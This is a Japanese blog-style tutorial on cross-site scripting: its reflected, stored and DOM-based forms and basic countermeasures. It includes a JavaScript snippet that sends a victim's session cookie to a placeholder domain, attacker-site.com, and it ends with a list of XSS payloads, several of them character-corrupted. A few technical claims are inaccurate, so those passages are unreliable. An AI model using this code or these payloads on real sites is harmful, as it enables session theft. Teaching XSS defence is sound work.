XSS 攻撃の基本と対策

クロスサイトスクリプティング (XSS) は、Web アプリケーションで最も一般的なセキュリティ脆弱性の一つです。この脆弱性を利用すると、攻撃者は正規の Web ページに悪意のあるスクリプト (通常は JavaScript) を埋め込むことができます。ユーザーがそのページを訪問すると、埋め込まれたスクリプトが実行され、ユーザーを攻撃する目的が達成されます。XSS 脆弱性は、他の脆弱性と組み合わされることで、より壊滅的な結果をもたらすことがあります。

XSS の種類

XSS 脆弱性にはいくつかの形態があり、主に以下の 3 種類に分類されます。それぞれ、攻撃の発見方法や利用方法に違いがあります。

反射型 XSS

反射型 XSS は、非永続的な攻撃です。攻撃者は Web ページに悪意のあるコードを挿入し、ユーザーがそのページを閲覧した際に、ページ内の HTML コードとして埋め込まれたスクリプトが実行され、ユーザーを攻撃します。

ユーザーからの入力を受け取り、それをサーバー側で適切にフィルタリングやエスケープ処理せずに HTML コードに直接埋め込むことが、XSS 脆弱性の典型的な特徴です。このような処理が行われない場合、攻撃は容易になります。

例えば、入力フィールドに以下の JavaScript コードを挿入した場合を考えます。

<script>alert('XSS')</script>

このコードが実行されると、アラートボックスが表示されます。もしページ上にアラートボックスが表示された場合、挿入した悪意のあるコードが実行されたことになります。

この単純なテストにより、以下の 2 点が明確になります。まず、name パラメータの内容は、ブラウザに返される任意のデータで置き換えることができること。次に、サーバーサイドのアプリケーションがデータをどのように処理しても、JavaScript コードの送信を防ぐことはできないことです。データが送信されると、そのコードは実行されます。

反射型 XSS の悪用方法

反射型 XSS の最も単純な攻撃の一つは、認証済みユーザーのセッショントークンを盗むことです。セッションを乗っ取った攻撃者は、そのユーザーがアクセスできるすべてのデータや機能にアクセスできるようになります。

攻撃者が作成する悪意のあるコードは、以下のようになります。

var stolenCookie = document.cookie;
var attackerDomain = "http://attacker-site.com/";
var img = new Image();
img.src = attackerDomain + stolenCookie;

このコードは、ユーザーのブラウザから攻撃者が所有するドメイン (例: attacker-site.com) に対してリクエストを送信させます。このリクエストには、ユーザーが現在アプリケーションにログインしているセッション情報が含まれます。

保存型 XSS

保存型 XSS は、ユーザーによって送信されたデータがデータベースに保存され、その後、フィルタリングやエスケープ処理なしに他のユーザーに表示される場合に発生します。このタイプの XSS は、永続的な性質を持つため、より深刻なセキュリティ脅威となります。

保存型 XSS 脆弱性を悪用する攻撃は、少なくとも 2 回のアプリケーションへのリクエストを必要とします。攻撃者は最初のPOSTリクエストで JavaScript を送信し、アプリケーションはそのコードを保存します。次に、被害者がその悪意のあるコードが含まれるページを閲覧すると、JavaScript が実行されます。

攻撃者は、アプリケーションに特別に細工されたデータを送信し、被害者がそれを表示するのを待ちます。もし被害者の中に管理者権限を持つユーザーがいれば、攻撃者はアプリケーション全体を完全に侵害できる可能性があります。

DOM 型 XSS

反射型 XSS と保存型 XSS は、ユーザーが制御できるデータをアプリケーションが取得し、それを危険な方法でユーザーに返すという共通のパターンを示します。しかし、DOM 型 XSS ではこのパターンは必ずしも当てはまりません。この脆弱性では、攻撃者の JavaScript は以下のような経路で実行されます。

  1. ユーザーが、攻撃者によって細工された URL をリクエストします。この URL には、埋め込まれた JavaScript が含まれています。
  2. サーバーからの応答には、攻撃者のコードは直接含まれていません。
  3. ユーザーのブラウザがこの応答を処理する際に、前述のスクリプトが実行されます。

Web ページには多くの要素が含まれており、ブラウザがページをロードすると、トップレベルの Document オブジェクトが作成されます。その後、各ページ要素に対応する子 Document オブジェクトが生成されます。これらのオブジェクトは、プロパティ、メソッド、イベントを持ちます。JavaScript を使用してこれらの DOM オブジェクトを操作することで、ページの内容を動的に変更できます。つまり、クライアントサイドのスクリプトは DOM を介してページの内容を変更し、DOM からデータを取得してローカルで実行できます。この特性を利用して、XSS 脆弱性を悪用することが可能です。

DOM 型 XSS をトリガーする可能性のあるプロパティやオブジェクトには、以下のようなものがあります。

  • document.referrer
  • window.name
  • location オブジェクト (例: location.hash)
  • innerHTML プロパティ
  • document.write() メソッド

XSS 対策

XSS 攻撃を防ぐための対策は以下の通りです。

  1. 入力値のサニタイズ: HTML タグの山括弧 (<, >) のような特殊文字をフィルタリングまたはエスケープ処理します。htmlentities()htmlspecialchars() のような関数が利用できます。ただし、これらの関数は単一引用符 (') などのエスケープに完全に対応していない場合があり、SQL インジェクション攻撃を防ぐには不十分な場合があります。
  2. Cookie の保護: 機密性の高い Cookie には HttpOnly 属性を設定します。これにより、クライアントサイドの JavaScript (document.cookie) から Cookie へのアクセスを防ぐことができます。この HTTP ヘッダーはサーバーサイドで設定する必要があります。
  3. URL パラメータのエンコード: 信頼できない値を URL パラメータとして出力する前に、URL エンコード処理を行います。また、URL パラメータから値を取得する際には、その形式が期待されるもの(例: URL 形式)であるか検証する必要があります。
  4. バックエンドでのフィルタリング: バックエンドの API でも、重要な特殊文字のフィルタリング処理を実装することが重要です。

以下に、一般的に利用される XSS のペイロード例をいくつか示します。

<script>alert("XSS")</script>
<meta http-equiv="refresh" content="1;url=http://example.com/">
<iframe name="I1" src="http://example.com/" width="0" height="0"></iframe>
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im∨t'ja&ar;script:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre∨ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

タグ: XSS クロスサイトスクリプティング Webセキュリティ javascript 脆弱性対策

7月6日 23:23 投稿